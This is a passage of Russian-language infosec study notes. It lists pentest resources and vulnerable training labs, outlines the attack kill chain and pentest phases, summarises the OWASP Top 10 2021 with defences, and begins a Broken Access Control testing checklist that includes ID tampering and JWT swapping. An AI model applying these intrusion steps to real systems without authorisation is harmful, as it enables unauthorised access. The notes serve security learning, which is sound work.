# Информационная безопасность # Стартовая информация и утилиты Ссылки [Бесплатный курс на Stepik](https://stepik.org/course/169003?auth=registration) [Git шпаргалка по разделам](https://github.com/Kitsun3Sec/Pentest-Cheat-Sheets) [Еще один интересный ресурс](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master) Уязвимые сборки для тренировок 1. [**bWAPP**](https://kali.tools/?p=2330) — бесплатное уязвимое веб-приложение с открытым исходным кодом, идеально подходит для изучения разных видов атак в контролируемой среде. 2. [**Damn Vulnerable Web Application (DVWA)**](https://kali.tools/?p=1820) — классика для отработки навыков пентеста с уровнями сложности и разнообразными веб-уязвимостями. 3. [**Damn Vulnerable Web Services**](https://kali.tools/?p=1729) — платформа для изучения уязвимостей веб-сервисов с практикой. 4. [**OWASP Broken Web Applications Project**](https://kali.tools/?p=1913) — набор уязвимых веб-приложений для комплексной тренировки. 5. [**OWASP Mutillidae II**](https://kali.tools/?p=1925) — учебное веб-приложение с широким спектром уязвимостей и настройками безопасности. 6. [**Samurai Web Testing Framework**](https://kali.tools/?p=1904) — специализированный фреймворк для тестирования веб-уязвимостей с готовым окружением. 7. [**Web Security Dojo**](https://kali.tools/?p=1744) — обучающее окружение с набором инструментов и уязвимых приложений для практики. Общие шаги по проникновению - **Reconnaissance** — сбор информации об инфраструктуре и уязвимостях компании для определения действий, которые могут быть выполнены для компрометации. - **Weaponization** — создание и подготовка ПО, используемого для атаки - **Delivery** — доставка ПО на устройства в сети компании. - **Exploitation** — использование уязвимостей в инфраструктуре компании, обнаруженных на этапе разведки, для получения несанкционированного доступа. - **Installation** — установка ПО на компьютеры в сети компании для закрепления полученного доступа в системе. - **Command and control** — установка соединения между скомпрометированным компьютером и управляющим им ПО, и сервером действующего лица, который дает возможность удаленно управлять компьютером. - **Actions on objective** — выполнение действующим лицом своих целей, которые могут включать в себя: кражу данных, шпионаж, вредоносные действия и другие действия, которые могут нанести ущерб **Этапы, которые проходит пентестер:** - Разведка во внешней сети - Атаки первичного доступа - Закрепление доступа - Повышение привилегий - Выход за рамки демилитаризованной зоны (ДМЗ) и ограничений сети - Проброс трафика в другие сегменты - Разведка в локальной сети - Захват управления инфраструктурой сети - Противодействие обнаружению и реагированию **На какие вопросы мы отвечаем в этом процессе:** - Действительно ли данная информация (учетные данные, публичные сервисы и сайты, информационные сообщения) относятся к нашей цели, а не к другим компаниям, которые не являются нашими целями? - С какими сервисами мы сможем взаимодействовать через сеть для того, чтобы изучать их и исследовать их уязвимости: это веб-сайты, почтовые серверы, серверы удаленных рабочих столов? - Какие бизнес-риски существуют в организации? Какие самые важные места она защищает или имеет? - Какие технологии использует организация на публичном периметре сети и внутри себя? **Результирующие данные** 1. Доменные имена, принадлежащих организации 2. “Живые” хосты в сети и составления списка их IP-адресов 3. Определение актуального статуса сетевых портов узлов из списка 4. Определение типа и версии операционной системы на исследованных машинах 5. Определение версий ПО или служб, которые находятся на сетевых портах 6. Сбор информации об используемых технологиях на веб-сайте **Атаки первичного доступа** Атака первичного доступа (англ. Initial Access Attack) — это попытка несанкционированного доступа к системе, сети или приложению, с целью получить начальный уровень доступа и проникнуть в них. Уязвимости — это слабые места в системе или приложении, которые могут быть использованы злоумышленниками для проведения атак. Фишинг (Phishing) — это метод социальной инженерии, при котором злоумышленник пытается получить доступ к чужой информации, обманывая пользователей с помощью поддельных веб-сайтов, электронных писем или сообщений. Фишинговый сервис — это специальный инструмент, который используется для проведения фишинг-атак. Отказ в обслуживании ( англ. denial-of-service attack (DoS) ) — атака на вычислительную систему с целью довести её до отказа, то есть создание таких условий, при которых пользователи системы не смогут получить доступ к предоставляемым системным ресурсам (серверам), либо этот доступ будет затруднён. Атака «человек посередине» (англ. Man in the middle (MiTM)) — вид атаки в компьютерной безопасности, когда злоумышленник тайно ретранслирует и при необходимости изменяет связь между двумя сторонами, которые считают, что они непосредственно общаются друг с другом. Инъекция команд ОС (shell инъекция) — уязвимость веб-приложений, которая позволяет злоумышленнику выполнять произвольные команды операционной системы (ОС) на сервере, на котором запущено приложение, и, как правило, дает возможность полностью скомпрометировать приложение и все его данные. Обратный путь в каталогах (Path Traversal) — уязвимость веб-безопасности, позволяющая злоумышленнику читать произвольные файлы на сервере, на котором запущено приложение. Сюда могут входить разные данные: код приложения, учетные данные для внутренних систем и конфиденциальные файлы операционной системы. Инъекция внешних сущностей XML (также известная как XXE) — это уязвимость веб-безопасности, позволяющая злоумышленнику вмешиваться в обработку XML-данных приложения. Часто она позволяет злоумышленнику просматривать файлы на файловой системе сервера приложений, а также взаимодействовать с любыми внутренними или внешними системами, к которым имеет доступ само приложение. В большом числе случаев злоумышленник может усилить атаку XXE для компрометации основного сервера или другой внутренней инфраструктуры, используя уязвимость XXE для выполнения атак на подделку запроса на стороне сервера (SSRF). Межсайтовый скриптинг (также известный как XSS) — это уязвимость веб-безопасности, позволяющая злоумышленнику компрометировать взаимодействие пользователей с уязвимым приложением. Она позволяет злоумышленнику обходить политику одного источника (Same Origin Policy (SOP)), которая предназначена для разделения различных веб сайтов друг от друга. **Цели первичных атак:** - узлы из сети DMZ или из облачной инфраструктуры - машины конечных пользователей, которые атакуются при применении атак с методами социальной инженерии. Главная цель на этом этапе — попасть в закрытую сеть заказчика. **Векторы атак:** - Веб-приложения - Сетевые сервисы - Пользователи сети - WiFi сети **Стратегии атак:** - Поиск веб приложений или сетевых сервисов, которые можно беспрепятственно анализировать длительное время - Взлом WiFi - Применение социальной инженерии на сотрудниках. Считается самым простым методом. Результатом является постоянный доступ к скомпрометированным системам с привилегированными правами управления (действующие учетные записи, возможность управления исполнением кода или команд в системе, доступ к внесению изменений в системы сети компании). # Black hat bash Из одноименной книги "BLACK HAT BASH Creative Scripting for Hackers and Pentesters by Dolev Farhi and Nick Aleks" Portswigger Academy CTF багбаунти **Тестовые контейнеры** ```bash cd ~/Black-Hat-Bash/lab/  sudo make deploy ```
deployСобрать образы и запустить контейнеры
teardownОстановить контейнеры
rebuildclean up + deploy
cleanupОстановить и удалить контейнеры и образы
statusТекущий статус
initПервая инициализация окружения и инструментов
# OWASP TOP 10 # Общее описание Проект Open Worldwide Application Security Project (OWASP) - это открытое сообщество, призванное предоставить организациям возможность разрабатывать, приобретать и обслуживать приложения и API, которым можно доверять. Это минимум для оценки защищенности. Одна из трудностей использования OWASP Top 10 в качестве стандарта заключается в документации рисков и проблем, которые не всегда легко поддаются тестированию. Выбор между Top 10 и OWASP Application Security Verification Standard
Use CaseOWASP Top 10 2021OWASP Application Security Verification Standard
ОсознаниеДа
ТренировкаБазовый уровеньКомплексный
Дизайн и архитектураИзредкаДа
Стандарт программированияМинимумДа
Проверка защищенного кодаМинимумДа
Контрольный список для экспертной оценкиМинимумДа
Модульное тестированиеИзредкаДа
Интеграционное тестированиеИзредкаДа
Тестирование на проникновениеМинимумДа
Поддержка инструментовМинимумДа
Secure Supply ChainИзредкаДа
**A01:2021 – Нарушение контроля доступа** Контроль доступа обеспечивает соблюдение политики таким образом, что пользователи не могут действовать за пределами своих предполагаемых разрешений. Распространенные уязвимости системы контроля доступа включают: - Нарушение принципа наименьших привилегий или отказ в доступе по умолчанию, когда доступ должен предоставляться только для определенных ролей или пользователей, но доступен любому. - Обход проверок контроля доступа путем изменения URL-адреса (изменение параметров или принудительный просмотр), внутреннего состояния приложения или HTML-страницы или с помощью средства атаки, изменяющего запросы API. - Разрешение на просмотр или редактирование чужой учетной записи путем предоставления ее уникального идентификатора (небезопасные прямые ссылки на объекты). - Доступ к API с отсутствующими элементами управления доступом для POST, PUT и DELETE. - Повышение привилегий. Действия от имени пользователя без входа в систему или действия от имени администратора при входе в систему в качестве пользователя. - Манипуляции с метаданными, такие как воспроизведение или подделка токена управления доступом к веб-токену JSON (JWT), cookie или скрытому полю, которые используются для повышения привилегий или для аннулирования JWT. - Неправильная настройка CORS допускает доступ к API из несанкционированных/ ненадежных источников. - Принудительный переход к страницам, прошедшим проверку подлинности, в качестве пользователя, не прошедшего проверку подлинности, или к привилегированным страницам в качестве обычного пользователя. Контроль доступа эффективен только в доверенном серверном коде или бессерверном API, где злоумышленник не может изменить проверку контроля доступа или метаданные. **Способы защиты:** - За исключением общедоступных ресурсов, по умолчанию доступ запрещен. - Внедрите механизмы контроля доступа один раз и повторно используйте их во всем приложении, включая минимизацию использования ресурсов разных источников (CORS). - Средства управления доступом должны обеспечивать соблюдение права собственности данных, а не допускать, что пользователь может создавать, читать, обновлять или удалять любые данные. - Модели должны обеспечивать соблюдение уникальных требований к бизнес-лимитам приложений. - Отключите список каталогов веб-сервера и убедитесь, что метаданные файлов (например, .git) и файлы резервных копий отсутствуют в корневом каталоге веб-сервера. - Регистрируйте сбои в системе контроля доступа и при необходимости предупреждайте администраторов (например, о повторяющихся сбоях). - Ограничьте скорость доступа к API и контроллеру, чтобы минимизировать ущерб от автоматизированных средств атаки. - Идентификаторы сеанса с отслеживанием состояния должны быть аннулированы на сервере после выхода из системы. Токены JWT без сохранения состояния должны быть недолговечными, чтобы минимизировать возможности для злоумышленника. Для более долговечных токенов JWT настоятельно рекомендуется следовать стандартам OAuth для отзыва доступа. [Список CWE](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) **A02:2021 – Ошибки в организации шифрования** Суть проблемы в отсутствии дополнительной защиты у критичных данных (при передаче и во время хранения). После определения критичных данных, необходимо ответить на вопросы: - Передаются ли какие-либо данные открытым текстом? Это касается таких протоколов, как HTTP, SMTP, FTP, которые также используют обновления TLS, такие как STARTTLS. Внешний интернет-трафик опасен. Проверьте весь внутренний трафик, например, между подсистемами балансировки нагрузки, веб-серверами или серверными системами. - Используются ли какие-либо старые или слабые криптографические алгоритмы или протоколы по умолчанию или в устаревшем коде? - Используются ли криптографические ключи по умолчанию, генерируются или повторно используются слабые криптографические ключи, или отсутствует надлежащее управление ключами или их ротация? Хранятся ли криптографические ключи в хранилищах исходного кода? - Не применяется ли шифрование, например, отсутствуют ли какие-либо директивы или заголовки безопасности HTTP-заголовков (браузера)? - Правильно ли проверен полученный сертификат сервера и цепочка доверия? - Игнорируются ли векторы инициализации, используются ли они повторно или генерируются недостаточно надежно для криптографического режима работы? Используется ли небезопасный режим работы, такой как ECB? Используется ли шифрование, когда более подходящим является аутентифицированное шифрование? - Используются ли пароли в качестве криптографических ключей в отсутствие функции получения базового ключа пароля? - Используется ли случайность в криптографических целях, которые не были разработаны с учетом криптографических требований? Даже если выбрана правильная функция, должна ли она быть запущена разработчиком, и если нет, то не переписал ли разработчик встроенную в нее сильную функциональность запуска с использованием начального кода, которому не хватает достаточной энтропии/ непредсказуемости? - Используются ли устаревшие хэш-функции, такие как MD5 или SHA1, или используются некриптографические хэш-функции, когда требуются криптографические хэш-функции? - Используются ли устаревшие методы криптографического заполнения, такие как PKCS number 1 v1.5? - Можно ли использовать сообщения о криптографических ошибках или информацию о побочных каналах, например, в форме дополнительных атак на оракулы? **Минимальные действия:** - Классифицируйте данные, обрабатываемые, хранимые или передаваемые приложением. Определите, какие данные являются конфиденциальными в соответствии с нормативными требованиями или потребностями бизнеса. - Не храните конфиденциальные данные без необходимости. Удалите их как можно скорее или используйте токенизацию, соответствующую стандарту PCI DSS, или даже усечение. Данные, которые не сохраняются, не могут быть украдены. - Убедитесь, что все конфиденциальные данные зашифрованы. - Убедитесь, что используются современные и надежные стандартные алгоритмы, протоколы и ключи; используйте надлежащее управление ключами. - Шифруйте все передаваемые данные с помощью защищенных протоколов, таких как TLS, с шифрами прямой секретности (FS), приоритезацией шифрования сервером и параметрами безопасности. Применяйте шифрование с помощью директив, таких как HTTP Strict Transport Security (HSTS). - Отключите кэширование ответов, содержащих конфиденциальные данные. - Примените необходимые меры безопасности в соответствии с классификацией данных. - Не используйте устаревшие протоколы, такие как FTP и SMTP, для передачи конфиденциальных данных. - Храните пароли, используя надежные адаптивные и подсоленные функции хэширования с коэффициентом работы (коэффициентом задержки), такие как Argon2, scrypt, bcrypt или PBKDF2. - Векторы инициализации должны быть выбраны в соответствии с режимом работы. Для многих режимов это означает использование CSPRNG (криптографически защищенного генератора псевдослучайных чисел). Для режимов, требующих одноразового использования, вектор инициализации (IV) не нуждается в CSPRNG. В любом случае, IV никогда не следует использовать дважды для фиксированного ключа. - Всегда используйте шифрование с проверкой подлинности, а не просто шифрование. - Ключи должны генерироваться криптографическим способом случайным образом и храниться в памяти в виде массивов байтов. Если используется пароль, то он должен быть преобразован в ключ с помощью соответствующей функции получения ключа на основе пароля. - Убедитесь, что криптографическая случайность используется там, где это уместно, и что она не была запущена предсказуемым образом или с низкой энтропией. Большинство современных API-интерфейсов не требуют, чтобы разработчик запускал CSPRNG для обеспечения безопасности. - Избегайте устаревших криптографических функций и схем заполнения, таких как MD5, SHA1, PKCS № 1 версии 1.5. Самостоятельно проверьте эффективность конфигурации и настроек. [Список CWE](https://owasp.org/Top10/A02_2021-Cryptographic_Failures/) **A03:2021 – Инъекции** Приложение уязвимо для атаки, когда: - Предоставленные пользователем данные не проверяются, не фильтруются и не очищаются приложением. - Динамические запросы или непараметризованные вызовы без контекстно-зависимого экранирования используются непосредственно в интерпретаторе. - Вредоносные данные используются в параметрах поиска по объектно-реляционному отображению (ORM) для извлечения дополнительных конфиденциальных записей. - Вредоносные данные используются напрямую или объединяются. Команда SQL or содержит структуру и вредоносные данные в динамических запросах, командах или хранимых процедурах. Некоторые из наиболее распространенных способов внедрения - это внедрение SQL, NoSQL, команд операционной системы, объектно-реляционного отображения (ORM), LDAP и языка выражений (EL) или библиотеки навигации по объектному графу (OGNL). Концепция одинакова для всех интерпретаторов. Проверка исходного кода - лучший способ определить, уязвимо ли приложение для инъекций. Настоятельно рекомендуется автоматическое тестирование всех параметров, заголовков, URL-адресов, файлов cookie, JSON, SOAP и XML для ввода данных. Организации могут включать средства статического (SAST), динамического (DAST) и интерактивного (IAST) тестирования безопасности приложений в конвейер CI/CD для выявления внедренных ошибок перед развертыванием в рабочей среде. **Минимальные действия:** - Предпочтительным вариантом является использование безопасного API, который полностью исключает использование интерпретатора, предоставляет параметризованный интерфейс или переходит на инструменты объектно-реляционного отображения (ORM). Примечание: Даже при настройке параметров хранимые процедуры все равно могут внедрять SQL-инъекцию, если PL/SQL или T-SQL объединяют запросы и данные или выполняют враждебные данные с помощью EXECUTE IMMEDIATE или exec(). - Используйте надежную проверку ввода на стороне сервера. Это не является полной защитой, поскольку для многих приложений требуются специальные символы, такие как текстовые области или API для мобильных приложений. - Для любых остаточных динамических запросов экранируйте специальные символы, используя специальный синтаксис escape для этого интерпретатора. Примечание: Структуры SQL, такие как имена таблиц, столбцов и т.д., не могут быть экранированы, и, следовательно, имена структур, предоставляемые пользователем, опасны. Это распространенная проблема в программном обеспечении для написания отчетов. [Список CWE](https://owasp.org/Top10/A03_2021-Injection/) **A04:2021 – Небезопасная архитектура ПО** Риски, связанные с недостатками дизайна и архитектуры. Желательно моделирование угроз, безопасные шаблоны проектирования и эталонные архитектуры. Необходим переход к предварительному кодированию, которое имеет решающее значение для принципов Secure by Design. Небезопасный дизайн - это широкая категория, представляющая различные слабые места, которые выражаются как “отсутствующий или неэффективный дизайн элементов управления”. Небезопасный дизайн не является источником всех остальных 10 основных категорий рисков. У недостатков проектирования и дефектами реализации разные первопричины и способы устранения. В защищенном проекте все еще могут быть дефекты реализации, приводящие к уязвимостям, которые могут быть использованы. Небезопасный дизайн не может быть исправлен с помощью идеальной реализации, поскольку по определению никогда не создавались необходимые средства контроля безопасности для защиты от конкретных атак. Одним из факторов, способствующих небезопасному проектированию, является отсутствие профилирования бизнес-рисков, присущих разрабатываемому программному обеспечению или системе, и, следовательно, неспособность определить, какой уровень безопасности требуется для проектирования. Необходимо собрать и согласовать с заказчиком бизнес-требования к приложению, включая требования к защите, касающиеся конфиденциальности, целостности, доступности и подлинности всех ресурсов данных и ожидаемой бизнес-логики. Примите во внимание, насколько уязвимым будет ваше приложение и требуется ли вам разделение клиентов (в дополнение к контролю доступа). Составьте технические требования, включая функциональные и нефункциональные требования к безопасности. Спланируйте и согласуйте бюджет, охватывающий все этапы проектирования, сборки, тестирования и эксплуатации, включая мероприятия по обеспечению безопасности. Безопасное проектирование - это культура и методология, которые постоянно оценивают угрозы и обеспечивают надежную разработку и тестирование кода для предотвращения известных методов атаки. Моделирование угроз должно быть интегрировано в сеансы доработки (или аналогичные мероприятия); следите за изменениями в потоках данных и контроле доступа или других элементах управления безопасностью. При разработке пользовательской истории определите правильный поток операций и состояния сбоев, убедитесь, что они хорошо поняты и согласованы ответственными и затронутыми сторонами. Проанализируйте допущения и условия для ожидаемых потоков и потоков сбоев, убедитесь, что они по-прежнему точны и желательны. Определите, как проверить допущения и обеспечить соблюдение условий, необходимых для правильного поведения. Убедитесь, что результаты задокументированы в истории пользователя. Учитесь на ошибках и предлагайте позитивные стимулы для продвижения улучшений. Безопасное проектирование - это не дополнение и не инструмент, который вы можете добавить в программное обеспечение. Жизненный цикл безопасной разработки Безопасное программное обеспечение требует безопасного жизненного цикла разработки, определенной формы безопасного шаблона проектирования, методологии разработки, библиотеки защищенных компонентов, инструментария и моделирования угроз. Обращайтесь к своим специалистам по безопасности в начале разработки программного обеспечения на протяжении всего проекта и сопровождения вашего программного обеспечения. Рассмотрите возможность использования модели зрелости OWASP Software Assurance (SAMM) для структурирования ваших усилий по разработке безопасного программного обеспечения. **Минимальные действия:** - Создайте и используйте безопасный жизненный цикл разработки вместе с профессионалами AppSec, которые помогут оценить и спроектировать средства управления безопасностью и конфиденциальностью - Создайте и используйте библиотеку шаблонов безопасного проектирования или готовых к использованию компонентов - Используйте моделирование угроз для критически важной аутентификации, контроля доступа, бизнес-логики и потоков ключей - Интегрируйте язык безопасности и элементы управления в истории пользователей - Интегрируйте проверки достоверности на каждом уровне вашего приложения (от внешнего интерфейса до серверной части). - Напишите модульные и интеграционные тесты, чтобы убедиться, что все критические потоки устойчивы к модели угроз. Составьте сценарии использования и неправильного использования для каждого уровня вашего приложения. - Разделите уровни на системные и сетевые в зависимости от потребностей в защите. - Продуманно разделяйте клиентов на всех уровнях - Ограничивайте потребление ресурсов пользователем или службой [Примеры CWE](https://owasp.org/Top10/A04_2021-Insecure_Design/) **A05:2021 – Неправильная настройка системы безопасности** Уязвимость может присутствовать, если: - Отсутствие надлежащего усиления безопасности в какой-либо части стека приложений или неправильно настроенные разрешения для облачных служб. - Включены или установлены ненужные функции (например, ненужные порты, службы, страницы, учетные записи или привилегии). - Учетные записи по умолчанию и их пароли по-прежнему включены и не изменяются. - Обработка ошибок выявляет следы стека или другие чрезмерно информативные сообщения об ошибках для пользователей. - В обновленных системах новейшие функции безопасности отключены или настроены ненадежно. - Параметры безопасности на серверах приложений, платформах приложений (например, Struts, Spring, ASP.NET), библиотеках, базах данных и т.д. не настроены на безопасные значения. - Сервер не отправляет заголовки или директивы безопасности или для них не установлены безопасные значения. - Программное обеспечение устарело или уязвимо (см. A06:2021 - Уязвимые и устаревшие компоненты). **Минимальные действия:** - Возможность быстро и просто развернуть другую среду, которая соответствующим образом заблокирована. Среды разработки, контроля качества и производства должны быть настроены одинаково, при этом в каждой среде должны использоваться разные учетные данные. Этот процесс должен быть автоматизирован, чтобы свести к минимуму усилия, необходимые для настройки новой безопасной среды. - Минимальная платформа без каких-либо ненужных функций, компонентов, документации и образцов. Удалите или не устанавливайте неиспользуемые функции и платформы. - Задача по проверке и обновлению конфигураций, соответствующих всем замечаниям по безопасности, обновлениям и патчам, в рамках процесса управления исправлениями (см. A06:2021 - Уязвимые и устаревшие компоненты). Проверьте разрешения облачного хранилища (например, разрешения пакета S3). - Сегментированная архитектура приложения обеспечивает эффективное и безопасное разделение между компонентами или клиентами с помощью сегментации, контейнеризации или облачных групп безопасности (ACL). - Отправка клиентам директив безопасности, например заголовков безопасности. - Автоматизированный процесс проверки эффективности конфигураций и настроек во всех средах. [Примеры CWE](https://owasp.org/Top10/A05_2021-Security_Misconfiguration/) **A06:2021 - Уязвимые и устаревшие компоненты** Система уязвима, если: - Если вы не знаете версии всех используемых вами компонентов (как клиентских, так и серверных). Это включает компоненты, которые вы используете непосредственно, а также вложенные зависимости. - Если программное обеспечение уязвимо, не поддерживается или устарело. Это включает в себя операционную систему, сервер веб-приложений, систему управления базами данных (СУБД), приложения, API и все компоненты, среды выполнения и библиотеки. - Если вы не проводите регулярное сканирование на наличие уязвимостей и не подписываетесь на бюллетени по безопасности, относящиеся к используемым вами компонентам. - Если вы своевременно не исправите или не обновите базовую платформу, фреймворки и зависимости с учетом рисков. Это обычно происходит в средах, где исправление является ежемесячной или ежеквартальной задачей под контролем изменений, в результате чего организации могут несколько дней или месяцев подвергаться ненужному воздействию исправленных уязвимостей. - Если разработчики программного обеспечения не проверяют совместимость обновленных или пропатченных библиотек. - Если вы не обеспечите безопасность конфигураций компонентов **Минимальные действия:** Должен существовать процесс управления исправлениями, позволяющий: - Удалять неиспользуемые зависимости, ненужные функции, компоненты, файлы и документацию. - Постоянно проводите инвентаризацию версий как клиентских, так и серверных компонентов (например, фреймворков, библиотек) и их зависимостей, используя такие инструменты, как versions, OWASP Dependency Check, retire.js и т.д. Постоянно отслеживайте уязвимости в компонентах, например, в таких источниках, как Common Vulnerability and Exposures (CVE) и National Vulnerability Database (NVD). Используйте инструменты анализа состава программного обеспечения для автоматизации процесса. Подпишитесь на уведомления по электронной почте об уязвимостях в системе безопасности, связанных с используемыми вами компонентами. - Приобретайте компоненты только из официальных источников по защищенным ссылкам. Отдавайте предпочтение подписанным пакетам, чтобы снизить вероятность включения модифицированного вредоносного компонента (см. A08:2021 - Сбои целостности программного обеспечения и данных). - Следите за библиотеками и компонентами, которые не поддерживаются или не содержат исправлений безопасности для более старых версий. Если установка исправлений невозможна, рассмотрите возможность развертывания виртуального исправления для мониторинга, обнаружения или защиты от обнаруженной проблемы. [Примеры CWE](https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/) **A07:2021 – Сбои идентификации и аутентификации** Подтверждение личности пользователя, аутентификации и управления сеансами имеет решающее значение для защиты от аутентификации, связанных с нападениями. Там могут быть недостатки аутентификации, если: - Позволяет автоматизировать атаки, такие как перебор учетные данных - Разрешает использование стандартных, слабых или хорошо известных паролей, таких как "Password1" или "admin/administrator". - Использует слабые или неэффективные методы восстановления учетных данных и забытых паролей, такие как "ответы, основанные на знаниях", которые невозможно обезопасить. - Использует хранилища данных с открытым текстом, зашифрованными или слабо хэшированными паролями (см. A02:2021 - Криптографические сбои). - Отсутствует или неэффективна многофакторная аутентификация. - В URL-адресе отображается идентификатор сеанса. - После успешного входа в систему идентификатор сеанса используется повторно. - Неправильно аннулирует идентификаторы сеанса. Пользовательские сеансы или токены аутентификации (в основном токены единого входа (SSO)) должным образом не аннулируются при выходе из системы или в период бездействия. **Минимальные действия:** - Там, где это возможно, применяйте многофакторную аутентификацию, чтобы предотвратить автоматический ввод учетных данных, использование подбора и повторное использование украденных учетных данных. - Не развертывайте систему с учетными данными по умолчанию, особенно для пользователей с правами администратора. - Реализуйте проверку слабых паролей, например, сравнивайте новые или измененные пароли со списком из 10 000 самых плохих паролей. - Приведите правила использования длины, сложности и ротации паролей в соответствие с рекомендациями Национального института стандартов и технологий (NIST) 800-63b в отношении запоминаемых секретов или других современных политик использования паролей, основанных на фактических данных. - Убедитесь, что регистрация, восстановление учетных данных и API-интерфейсы защищены от атак по перечислению учетных записей, используя одни и те же сообщения для всех результатов. - Ограничьте или чаще откладывайте неудачные попытки входа в систему, но будьте осторожны, чтобы не создать сценарий отказа в обслуживании. Регистрируйте все сбои и предупреждайте администраторов при обнаружении подтасовки учетных данных, перебора или других атак. - Используйте защищенный встроенный менеджер сеансов на стороне сервера, который генерирует новый случайный идентификатор сеанса с высокой энтропией после входа в систему. Идентификатор сеанса не должен содержаться в URL-адресе, надежно храниться и аннулироваться после выхода из системы, простоя и абсолютных тайм-аутов. [Список CWE](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/) **A08:2021 – Сбои в обеспечении целостности программного обеспечения и данных** Сбои в целостности программного обеспечения и данных связаны с кодом и инфраструктурой, которые не защищают от нарушений целостности. Примером этого может служить ситуация, когда приложение использует плагины, библиотеки или модули из ненадежных источников, репозиториев и сетей доставки контента (CDN). Небезопасный конвейер CI/CD может привести к несанкционированному доступу, вредоносному коду или компрометации системы. Наконец, многие приложения теперь включают функцию автоматического обновления, при которой обновления загружаются без достаточной проверки целостности и применяются к ранее доверенному приложению. Злоумышленники потенциально могут загружать свои собственные обновления для распространения и запуска на всех установках. Другой пример - когда объекты или данные кодируются или сериализуются в структуру, которую злоумышленник может увидеть и изменить, и которая уязвима для небезопасной десериализации. **Минимальные действия:** - Используйте цифровые подписи или аналогичные механизмы для проверки того, что программное обеспечение или данные получены из ожидаемого источника и не были изменены. - Убедитесь, что библиотеки и зависимости, такие как npm или Maven, используют надежные хранилища. Если у вас более высокий уровень риска, рассмотрите возможность размещения внутреннего репозитория с проверенной репутацией. - Убедитесь, что для проверки того, что компоненты не содержат известных уязвимостей, используется инструмент обеспечения безопасности цепочки поставок программного обеспечения, такой как OWASP Dependency Check или OWASP CycloneDX - Убедитесь, что существует процесс проверки кода и изменений конфигурации, чтобы свести к минимуму вероятность того, что вредоносный код или конфигурация могут быть внедрены в конвейер вашего программного обеспечения. - Убедитесь, что конвейер CI/CD имеет надлежащее разделение, конфигурацию и контроль доступа, чтобы обеспечить целостность кода, проходящего через процессы сборки и развертывания. - Убедитесь, что неподписанные или незашифрованные сериализованные данные не отправляются ненадежным клиентам без какой-либо проверки целостности или цифровой подписи для обнаружения подделки или воспроизведения сериализованных данных **A09:2021 – Ведение журнала безопасности и мониторинг сбоев** Эта категория призвана помочь в обнаружении активных нарушений, их эскалации и реагировании на них. Без ведения журнала и мониторинга нарушения не могут быть обнаружены. В любое время возникают проблемы с ведением журнала, обнаружением, мониторингом и активным реагированием: - Проверяемые события, такие как входы в систему, неудачные попытки входа в систему и транзакции с высокой стоимостью, не регистрируются. - Предупреждения и ошибки приводят к появлению сообщений "нет", неадекватных или неясных. - Журналы приложений и API не отслеживаются на предмет подозрительной активности. - Журналы хранятся только локально. - Соответствующие пороговые значения для оповещений и процессы повышения эффективности реагирования отсутствуют. - Тестирование на проникновение и сканирование с помощью инструментов динамического тестирования безопасности приложений (DAST) (таких как OWASP ZAP) не приводят к возникновению предупреждений. - Приложение не может обнаруживать, активизировать или предупреждать об активных атаках в режиме реального времени или почти в режиме реального времени. - Вы уязвимы для утечки информации, поскольку делаете события ведения журнала и оповещения видимыми для пользователя или злоумышленника. - Вы уязвимы для инъекций или атак на системы ведения журнала или мониторинга, если данные журнала неправильно закодированы. **Минимальные действия:** - Убедитесь, что все сбои при входе в систему, контроле доступа и проверке ввода данных на стороне сервера регистрируются в достаточном пользовательском контексте для выявления подозрительных или вредоносных учетных записей и сохраняются в течение достаточного времени для проведения отложенного судебного анализа. - Убедитесь, что журналы создаются в формате, удобном для использования в решениях для управления журналами. - Убедитесь, что данные журнала правильно закодированы, чтобы предотвратить внедрение или атаки на системы ведения журнала или мониторинга. - Убедитесь, что в транзакциях с высокой стоимостью есть контрольный журнал с элементами контроля целостности, чтобы предотвратить подделку или удаление, например, добавление таблиц базы данных только для добавления или аналогичных операций. - Команды DevSecOps должны наладить эффективный мониторинг и оповещение, чтобы выявлять подозрительные действия и оперативно реагировать на них. - Разработайте или утвердите план реагирования на инциденты и восстановления, такой как план Национального института стандартов и технологий (NIST) 800-61r2 или более поздней версии. **A10:2021 – SSRF** Ошибки SSRF возникают всякий раз, когда веб-приложение извлекает удаленный ресурс без проверки указанного пользователем URL-адреса. Это позволяет злоумышленнику заставить приложение отправить созданный запрос в неожиданное место назначения, даже если оно защищено брандмауэром, VPN или другим типом списка контроля доступа к сети (ACL). Поскольку современные веб-приложения предоставляют конечным пользователям удобные функции, поиск URL-адреса становится обычным делом. В результате частота SSRF растет. Кроме того, из-за облачных сервисов и сложности архитектур возрастает опасность SSRF. **Минимальные действия:** - Сетевой уровень - Сегментируйте функциональность удаленного доступа к ресурсам в отдельных сетях, чтобы уменьшить влияние SSRF - Примените политики брандмауэра “запрещать по умолчанию” или правила контроля доступа к сети, чтобы блокировать весь трафик интрасети, кроме существенного. Подсказки: ~ Установите права собственности и жизненный цикл для правил брандмауэра на основе приложений. ~ Регистрируйте все принятые и заблокированные сетевые потоки на брандмауэрах (см. A09:2021 - Ведение журнала безопасности и мониторинг сбоев). - Прикладной уровень: - Очистите и подтвердите все входные данные, предоставленные клиентом - Примените схему URL-адресов, порт и пункт назначения с помощью списка разрешений с положительным значением - Не отправляйте клиентам необработанные ответы - Отключите перенаправления HTTP - Следите за согласованностью URL-адресов, чтобы избежать таких атак, как повторная привязка DNS и условия гонки “время проверки, время использования” (TOCTOU). - Не используйте для защиты от SSRF список запрещенных действий или регулярное выражение. У злоумышленников есть списки полезной нагрузки, инструменты и навыки для обхода списков запрещенных действий. - Дополнительные меры: - Не используйте другие службы, связанные с безопасностью, в системах с открытым исходным кодом (например, OpenID). Контролируйте локальный трафик в этих системах (например, localhost). - Для интерфейсов с выделенными и управляемыми группами пользователей используйте сетевое шифрование (например, VPN) в независимых системах, чтобы учесть очень высокие требования к защите. # A01:2021 – Broken Access Control **Алгоритм проверки** 1\. Сбор информации - Определить роли в системе (guest, user, admin, API client). - Зафиксировать все эндпоинты (через Burp/ZAP или документацию API). - Проверить, какие ресурсы доступны без авторизации. 2\. Проверка 'горизонтального повышения привилегий' (Один пользователь получает доступ к данным другого) - Изменить `id`, `user\_id`, `account`, `orderId` в URL/теле запроса. - Удалить или подменить `session cookie / JWT`. - Проверить доступ к чужим файлам (например, `/download/12345.pdf` → `/download/12346.pdf`). - Использовать Burp Plugin \*\*Autorize\*\* – автоматически тестирует доступ к ресурсам других 